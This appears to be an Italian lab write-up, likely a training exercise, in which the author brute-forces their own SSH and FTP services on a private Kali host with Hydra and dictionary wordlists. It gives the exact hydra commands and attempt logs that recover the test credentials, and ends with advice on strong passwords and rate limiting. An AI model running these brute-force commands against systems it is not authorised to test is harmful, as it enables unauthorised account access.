

Authentication cracking con Hydra

Hydra è uno strumento di password cracking che consente di effettuare attacchi di forza bruta o a dizionario su diversi protocolli o servizi di rete.

L'obiettivo è mettere in pratica tecniche di password cracking utilizzando attacchi a dizionario con Hydra in modalità CLI contro servizi SSH e come seconda opzione ho scelto FTP.

Configurazione servizio SSH

Per testare l'attacco al servizio **SSH**, è stato creato un nuovo utente con il comando **sudo adduser**.

username 'test_user'

password 'testpass'

```
(kali㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] yes
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Attiviamo il servizio **sudo service ssh start**

Testiamo la connessione in SSH con il comando

ssh test_user@192.168.1.2. (il mio ip privato di kali) come mostrato in foto.

```
(kali@kali)-[~]
$ sudo service ssh start

(kali@kali)-[~]
$ ssh test_user@192.168.1.2
The authenticity of host '192.168.1.2 (192.168.1.2)' can't be established.
ED25519 key fingerprint is SHA256:G1ForLBwIiB8CMG3+JdBsvy7rz+8qcPcE7yTbASZNxY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.2' (ED25519) to the list of known hosts.
test_user@192.168.1.2's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

Password cracking SSH

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.2 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 10:30:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.1.2:22/
[STATUS] 38.00 tries/min, 38 tries in 00:01h, 8295454999962 to do in 3638357456:08h, 4 active

[STATUS] 28.00 tries/min, 84 tries in 00:03h, 8295454999916 to do in 4937770833:18h, 4 active

[STATUS] 26.29 tries/min, 184 tries in 00:07h, 8295454999816 to do in 5259799365:50h, 4 active
```

Come si può vedere in foto recuperare le credenziali, con seclist, richiederà molto tempo dato che contiene milioni di possibili utenti/password quindi ho utilizzato liste/ dizionari più brevi.

ATTENZIONE: l'utilizzo di dizionari più brevi impiegherà sicuramente meno tempo ma diminuiranno drasticamente le possibilità di trovare le credenziali corrette.

L'attacco a dizionario su **SSH** è stato condotto utilizzando il dizionario **username.txt** per gli username e **password.txt** per le password digitando il comando seguente sul terminale di Kali

hydra -V -L username.txt -P password.txt 192.168.1.2 -t4 ssh

-V per vedere i tentativi di Brute Force in 'live'

-L per il campo degli username

-P per il campo delle password

-t4 tempo, maggiore è il numero, più veloce andrà la scansione **ssh** il protocollo in questione che interessa a noi

```
[ATTEMPT] target 192.168.1.2 - login "paul" - pass "pi" - 354 of 1152 [child 2] (0/0)
[ATTEMPT] target 192.168.1.2 - login "paul" - pass "testpass" - 355 of 1152 [child 1] (0/0)
[ATTEMPT] target 192.168.1.2 - login "paul" - pass "puppet" - 356 of 1152 [child 0] (0/0)
[ATTEMPT] target 192.168.1.2 - login "paul" - pass "ansible" - 357 of 1152 [child 1] (0/0)
[ATTEMPT] target 192.168.1.2 - login "paul" - pass "ec2-user" - 358 of 1152 [child 2] (0/0)
[ATTEMPT] target 192.168.1.2 - login "paul" - pass "vagrant" - 359 of 1152 [child 0] (0/0)
[ATTEMPT] target 192.168.1.2 - login "paul" - pass "azureuser" - 360 of 1152 [child 0] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "root" - 361 of 1152 [child 3] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "admin" - 362 of 1152 [child 3] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "test" - 363 of 1152 [child 3] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "guest" - 364 of 1152 [child 3] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "info" - 365 of 1152 [child 3] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "adm" - 366 of 1152 [child 3] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "mysql" - 367 of 1152 [child 1] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "user" - 368 of 1152 [child 2] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "administrator" - 369 of 1152 [child 0] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "oracle" - 370 of 1152 [child 1] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "ftp" - 371 of 1152 [child 2] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "pi" - 372 of 1152 [child 0] (0/0)
[ATTEMPT] target 192.168.1.2 - login "test_user" - pass "testpass" - 373 of 1152 [child 1] (0/0)
[22][ssh] host: 192.168.1.2 login: test_user password: testpass
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "root" - 379 of 1152 [child 1] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "admin" - 380 of 1152 [child 2] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "test" - 381 of 1152 [child 0] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "guest" - 382 of 1152 [child 1] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "info" - 383 of 1152 [child 2] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "adm" - 384 of 1152 [child 0] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "mysql" - 385 of 1152 [child 2] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "user" - 386 of 1152 [child 1] (0/0)
[ATTEMPT] target 192.168.1.2 - login "charlie" - pass "administrator" - 387 of 1152 [child 0] (0/0)
```

Hydra ha individuato le credenziali valide per l'accesso SSH:

Username: **test_user**

Password: **testpass**

Configurazione servizio FTP

Ho creato un nuovo utente per non avere le stesse credenziali di prima.

```
sudo adduser luca  
password: geppetto
```

attivo il servizio FTP con il comando
sudo systemctl vsftpd start

Password cracking FTP

L'attacco su **FTP** è stato condotto utilizzando gli stessi dizionari utilizzati in precedenza.

rispettivamente **username.txt** e **password.txt**.

Dopo aver aperto il terminale dove ho salvato i miei 2 dizionari potrò lanciare il seguente comando:

```
hydra -V -L username.txt -P password.txt 192.168.1.2 -t4 ftp
```

```
kali@kali: ~  
File Actions Edit View Help  
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "ec2-user" - 34 of 1170 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "vagrant" - 35 of 1170 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "azureuser" - 36 of 1170 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "root" - 37 of 1170 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "admin" - 38 of 1170 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "test" - 39 of 1170 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "guest" - 40 of 1170 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "info" - 41 of 1170 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "adm" - 42 of 1170 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "mysql" - 43 of 1170 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "user" - 44 of 1170 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "administrator" - 45 of 1170 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "oracle" - 46 of 1170 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "ftp" - 47 of 1170 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "pi" - 48 of 1170 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "geppetto" - 49 of 1170 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "puppet" - 50 of 1170 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "ansible" - 51 of 1170 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "luca" - pass "ec2-user" - 52 of 1170 [child 1] (0/0)  
[21][ftp] host: 192.168.1.2 login: luca password: geppetto  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "root" - 55 of 1170 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "admin" - 56 of 1170 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "test" - 57 of 1170 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "guest" - 58 of 1170 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "info" - 59 of 1170 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "adm" - 60 of 1170 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "mysql" - 61 of 1170 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "user" - 62 of 1170 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.2 - login "2000" - pass "administrator" - 63 of 1170 [child 3] (0/0)  
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Dalla foto sopra possiamo vedere che, come risultato Hydra ha identificato correttamente le nostre credenziali di accesso, facendo la prova infatti ci darà Login Successful.

```
(kali㉿kali)-[~]  
$ ftp 192.168.1.2  
Connected to 192.168.1.2.  
220 (vsFTPd 3.0.3)  
Name (192.168.1.2:kali): luca  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> █
```

Conclusione

In conclusione possiamo dire che è fondamentale utilizzare password complesse e/o la limitare i tentativi di login, per mitigare l'efficienza di tool come Hydra, John the Ripper e proteggere sistemi informatici, dati personali o servizi esposti in rete dagli attaccanti.